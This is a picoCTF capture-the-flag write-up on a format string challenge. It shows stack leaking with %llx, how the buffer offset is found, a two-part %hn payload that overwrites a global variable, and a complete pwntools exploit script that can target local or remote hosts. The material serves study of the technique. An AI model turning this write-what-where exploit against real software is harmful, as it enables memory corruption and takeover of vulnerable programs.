200 points
Category: Binary Exploitation
Tags: #binaryexploitation #formatstring #infoleak #writewhatwhere
This program is not impressed by cheap parlor tricks like reading arbitrary data off the stack. To impress this program you must change data on the stack!
Inspecting the provided vuln.c
source file we see a global variable sus
initialised with a value of 0x21737573
. After prompting for input from standard input, this buffer is printed directly and not as part of a format string, therefore vulnerable to format string attack (as the name of the challenge suggests) :
printf(buf);
The flag file is then read and displayed if the aforementioned global variable sus
is equal to 0x67616c66
, our win condition. Note that sus
is modified outside of it's initialisation, hence we must use the format string attack to rewrite the value in this variable.
A quick check of the provided challenge binary vuln
we can see this is a 64-bit executable:
$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dfe923d97df1df729249ff21202d10ad15d45f4c, for GNU/Linux 3.2.0, not stripped
Using a typical stack dumping info leak mechanism to locate buf
on the stack, using a token that can be readily located, in this case the string "BBBBBBBB", which we'll find in hexadecimal form as 0x4242424242424242
. The first instance (string representation) in the output is just our token being printed by printf()
and not the contents of buf
.
$ echo $(python3 -c 'print("B"*8 + ".%016llx" * 50)') | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: BBBBBBBB.0000000000402075.0000000000000000.00007feea9e16a00.0000000000000000.00000000009546b0.00000001a9f2aaf0.00007feea9eee4d0.0000000000000000.00007fee00000000.00007fee00000000.00007fee00000000.00000000ffffffff.00007ffda5cf5360.4242424242424242.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e.786c6c363130252e
sus = 0x21737573
You can do better!
Our token can be found in the 14'th word in the dump, which correlates with the 14'th dummy format string argument. To verify we can print just our token argument:
$ echo $(python3 -c 'print("B"*8 + ".%14$016llx")') | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: BBBBBBBB.4242424242424242
sus = 0x21737573
You can do better!
To be able to rewrite the value of sus
we must first locate its address:
$ objdump -t vuln | grep sus
0000000000404060 g O .data 0000000000000004 sus
We'll break up the writing of sus
into two separate short integers (16-bit), therefore the two values that need to be written and their corresponding addresses are (keeping in mind endianness)
0x67616c66 @ 0x404060
= ----------------------------
0x6761 (or 26465) @ 0x404062
0x6c66 (or 27750) @ 0x404060
To write sus
we'll use the well known format string attack using the %n
format parameter, in particular %hn
variant, where:
%n Writes the number of characters written so far into a pointer reference (int *)
%hn Writes the number of characters written so far into a pointer reference (short int *)
So using this mechanism, the premise is we must generate a string containing the number of characters corresponding to the short value we want to write then use %hn
to write it at our target address.
Therefore our final input attack payload used was:
b'%26465x%18$hn...' + b'%1282x%19$hn....' + b'\x62\x40\x40\x00\x00\x00\x00\x00' + b'\x60\x40\x40\x00\x00\x00\x00\x00'
Where;
"%26465x"
sets up the first write of26465 (0x6761)
using the padding feature to output a single integer in hexadecimal format to standard output, but padded to26465
characters."%18$hn..."
write the first short integer, the number of characters output thus far in thisprintf()
statement to the memory location pointed to by the 18'th argument provided toprintf()
. Given no arguments were provided toprintf()
this ends up referencing a word on the stack, which we constructed to be the location of our first target memory address we will put inbuf
. We know previously thatbuf
starts at the 14'th word, but our constructed format string (prior to the appended addresses) occupies the first 32-characters (4 64-bit words), meaning out first address is14 + 4 = 18
'th argument. Note that the...
were added simply to assist with alignment of the format string and addresses within the buffer."%1282x"
sets up our second write of27750 (0x6c66)
remembering we had already outputted26,465
characters plus our alignment padding...
of another 3 characters, therefore we need to write27,750 - (26,465 + 3) = 1,282
and use the same mechanism as the first write."%19$hn...."
writes the second short integer using the same mechanism, with the address of the second write the 19'th argument."\x62\x40\x40\x00\x00\x00\x00\x00"
is the target address of our first short integer write in little endian byte encoded form, used as the 18'th argument to theprintf()
from the stack."\x60\x40\x40\x00\x00\x00\x00\x00"
the target address of the second short integer write.
A couple of points to note;
- we use the short integer writes instead of one single integer write to minimise the amount of characters that are required to be output on standard output.
- we must make sure we write the small value of the two first as we build up the attack string and continue to add output characters, hence the writes must be ordered accordingly.
- both addresses are appended to the format string as they contain bytes of values zero, that would be treated as a string null termination character by
printf()
and would not complete the format string otherwise.
The final solution used was implemented via the following pwntools script:
#!/usr/bin/env python3
from pwn import *
import re
target_elf = ELF("./vuln")
# command line support for local, remote and gdb modes
if len(sys.argv) > 1:
if "remote" in sys.argv:
if len(sys.argv) > 3:
target_proc = remote(sys.argv[2], sys.argv[3])
else:
print('usage: ./pwn-game.py remote <server> <port>')
exit(1)
elif "gdb" in sys.argv:
target_proc = target_elf.process()
gdb.attach(target_proc)
else:
target_proc = target_elf.process()
# recv and throw away until we receive our input prompt
target_proc.recvuntil(b'say?')
payload = b'%26465x%18$hn...' + b'%1282x%19$hn....' + b'\x62\x40\x40\x00\x00\x00\x00\x00' + b'\x60\x40\x40\x00\x00\x00\x00\x00'
# payload construction debugging
print(payload)
with open("payload.txt", "wb") as binary_file:
binary_file.write(payload)
# send payload to target and we're done
target_proc.sendline(payload)
target_proc.interactive()
Which yielded a lot of output (as expected) the tail of which containing our flag:
I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{...........redacted.............}
[*] Got EOF while reading in interactive
Where the actual flag value has been redacted for the purposes of this write up.